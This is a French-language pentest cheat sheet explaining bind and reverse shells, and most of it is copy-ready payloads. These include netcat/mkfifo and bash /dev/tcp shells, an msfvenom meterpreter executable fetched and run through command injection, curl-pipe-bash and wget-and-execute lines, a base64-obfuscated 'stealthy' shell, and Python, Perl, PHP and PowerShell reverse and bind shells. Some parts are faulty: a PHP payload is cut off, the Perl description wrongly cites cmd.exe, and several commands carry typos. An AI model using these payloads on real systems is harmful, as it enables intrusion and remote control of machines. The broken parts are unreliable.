# shell et reverse shell

* **Bind** **Shell :** Un shell est un programme informatique qui fournit une interface utilisateur pour accéder aux services d'exploitation d'un système d'exploitation. Il permet à l'utilisateur de saisir des commandes qui sont ensuite interprétées et exécutées par le système d'exploitation. Il est utilisée lorsqu’un attaquant a déjà déposé une porte dérobée (backdoor) sur le serveur, ou bien qu’il profite d’une faille très critique.

<figure><img src="https://2405813983-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY9Ji0LMTnIq0SKF8JfQn%2Fuploads%2F30IwC0u5zrEbL3gbNwzJ%2Fbindsh.jpg?alt=media&#x26;token=4eb08f2b-65b9-40d3-903d-1308278978de" alt=""><figcaption></figcaption></figure>

* **Reverse Shell :** Un reverse shell est une technique utilisée en sécurité informatique pour obtenir un accès à distance à un système cible. Contrairement à un shell classique où un client se connecte à un serveur pour exécuter des commandes sur ce dernier, dans un reverse shell, c'est **les machines victimes qui se connectent à l'attaquant** C'est souvent utilisé dans des scénarios de piratage où un pare-feu ou d'autres mécanismes de sécurité peuvent bloquer les connexions entrantes.

<figure><img src="https://2405813983-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FY9Ji0LMTnIq0SKF8JfQn%2Fuploads%2FgRm0VZQ8Wsgw3AQWtZbV%2Fbind.jpg?alt=media&#x26;token=2f2c283d-ae5b-4e84-ad64-178307617ee2" alt=""><figcaption></figcaption></figure>

## 🖊️ Générer un reverse shell

{% embed url="https://www.revshells.com/" %}

## 📑 Shell de base&#x20;

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP_attack 4444 >/tmp/f
```

## 🪟 Windows / metasploit - vulnérabilité command injection

Génerer un payload :&#x20;

```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP_attack LPORT=4443 -f exe > rev.exe
```

Mise en place d'un server :&#x20;

```
python3 -m http.server 8000
```

Dans le cadre d'une vulnérabilité qui permet l'exécution de commande à distance :&#x20;

```bash
python3 exploit.py IP_cible "powershell.exe Invoke-WebRequest -Uri http://IP_attack:8000/rev.exe -OutFile ./rev.exe && .\rev.exe"
```

## 🐚 Bash / sh

```bash
curl https://reverse-shell.sh/1.1.1.1:3000 | bash
```

**Description :** Télécharge un script Bash à partir de l'URL `https://reverse-shell.sh/1.1.1.1:3000` et l'exécute avec Bash.

***

```bash
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
```

**Description :** Ouvre une connexion TCP inverse vers `<ATTACKER-IP>` sur le `<PORT>` spécifié et redirige les entrées et les sorties standards vers cette connexion.

***

```bash
bash -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP
```

* **Description :** Ouvre une connexion UDP inverse vers `127.0.0.1` sur le port `4242` et redirige les entrées et les sorties standards vers cette connexion.

***

```bash
0<&196;exec 196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh <&196 >&196 2>&196
```

* **Description :** Réalise une redirection des descripteurs de fichiers pour établir une connexion TCP inverse vers `<ATTACKER-IP>` sur le `<PORT>` spécifié et exécute un shell interactif.

***

```bash
exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5; done
```

* **Description :** Ouvre une connexion TCP inverse vers `<ATTACKER-IP>` sur le `<PORT>` spécifié et lit les commandes à exécuter depuis cette connexion.

***

### 🔄 Méthode courte et de contournement

```bash
(sh)0>/dev/tcp/10.10.10.10/9091
```

* **Description :** Ouvre une connexion TCP vers `10.10.10.10` sur le port `9091` et exécute un shell interactif.

```bash
exec >&0
```

* **Description :** Une fois qu'un shell est établi avec succès, la commande `exec >&0` est utilisée pour rediriger la sortie vers l'entrée standard. Cela signifie que toutes les sorties des commandes exécutées seront renvoyées comme entrée, ce qui permet d'exécuter des commandes directement depuis le shell sans avoir besoin d'écrire sur le terminal.

***

### 🔒 Shell symboliquement sécurisé

```bash
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
```

* **Description :** Lance un shell Bash avec une commande incorporée pour ouvrir une connexion TCP inverse vers `<ATTACKER-IP>` sur le `<PORT>` spécifié et rediriger les entrées et les sorties standards vers cette connexion.

***

### 🕵️‍♂️ Méthode furtive

```bash
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
```

* **Description :** Décode une commande Bash à partir de sa représentation en base64, puis l'exécute en redirigeant les erreurs vers `/dev/null` pour la furtivité.

***

### 📄 Créer un fichier et l'exécute

```bash
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
```

* **Description :** Crée un script Bash dans `/tmp/sh.sh` qui ouvre une connexion TCP inverse vers `<ATTACKER-IP>` sur le `<PORT>` spécifié, puis l'exécute avec Bash.

***

```bash
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
```

* **Description :** Télécharge un script Bash depuis `http://<IP attacker>/shell.sh` vers `/tmp`, lui donne les permissions d'exécution, puis l'exécute.

***

## 🐘 **Python**&#x20;

```python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((IP_ATTAQUANTE,PORT))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
```

* **Description :** Établit une connexion TCP avec `<IP_ATTAQUANTE>` sur le `<PORT>` spécifié. Duplique ensuite les descripteurs de fichiers standard (`stdin`, `stdout` et `stderr`) vers le socket. Enfin, exécute un shell Bash interactif

## 🐍 **Perl**&#x20;

```perl
use Socket;

socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($PORT,inet_aton($IP_ATTAQUANTE)))){
  open(STDIN,">&S");
  open(STDOUT,">&S");
  open(STDERR,">&S");
  exec("/bin/bash -i");
};
```

* **Description :** Établit une connexion TCP avec `<IP_ATTAQUANTE>` sur le `<PORT>` spécifié, puis exécute une instance de `cmd.exe` pour obtenir un shell Windows.

***

## 🦐 PHP

**Reverse Shell PHP (avec `exec`) :**

```php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/<IP_ATTAQUANTE>/<PORT> 0>&1'"); ?>
```

* **Description :** Exécute une commande Bash pour ouvrir une connexion TCP inverse vers `<IP_ATTAQUANTE>` sur le `<PORT>` spécifié, puis redirige les entrées et les sorties standards vers cette connexion.

### **Reverse Shell PHP (avec `fsockopen` et `proc_open`) :**

```php
<?php
$sock = fsockopen("<IP_ATTAQUANTE>", <PORT>);
$proc = proc_open("/bin/bash -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>
```

* **Description :** Établit une connexion TCP avec `<IP_ATTAQUANTE>` sur le `<PORT>` spécifié à l'aide de `fsockopen`, puis exécute un shell interactif Bash à l'aide de `proc_open`.

#### Reverse Shell PHP pour Windows 💻

```php
<?php header('Content-type: text/plain'); $ip   = "Attack_IP"; $port = "1234"; $payload =
```

Description : Cette commande est destinée à être utilisée sur un serveur web accessible par l'attaquant. L'attaquant peut inclure ce code PHP dans une page web et, lorsqu'un utilisateur visite cette page, une connexion TCP inverse est établie depuis le serveur web (machine cible) vers l'attaquant.

## 🪝PowerShell (à exécuter dans cmd.exe)&#x20;

```powershell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attack_IP',Port);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

Description : Établit une connexion TCP inverse vers l'attaquant et exécute un shell interactif PowerShell sur la machine cible. Les commandes saisies par l'attaquant sont exécutées sur la machine cible et les résultats sont renvoyés à l'attaquant.

#### Bind Shell PowerShell&#x20;

```powershell
powershell -c "$listener = New-Object System.Net.Sockets.TcpListener('attack_IP',Port);$listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();$listener.Stop()"
```

Description : Ouvre un port sur la machine cible en mode écoute, attendant une connexion entrante. Lorsqu'une connexion est établie, il exécute un shell interactif PowerShell. Les commandes saisies par l'attaquant sont exécutées sur la machine cible et les résultats sont renvoyés à l'attaquant.

#### Reverse Shell avec Powercat 🐱

```powershell
powercat -c attack_IP -p Port -e cmd.exe
```

Description : Établit une connexion TCP inverse vers l'attaquant et exécute cmd.exe (Command Prompt) sur la machine cible.

#### Bind Shell avec Powercat 🐱

```powershell
epowercat -l -p 443 -e cmd.exe
```

Description : Ouvre un port sur la machine cible en mode écoute, attendant une connexion entrante. Lorsqu'une connexion est établie, il exécute cmd.exe (Command Prompt) sur la machine cible.



\


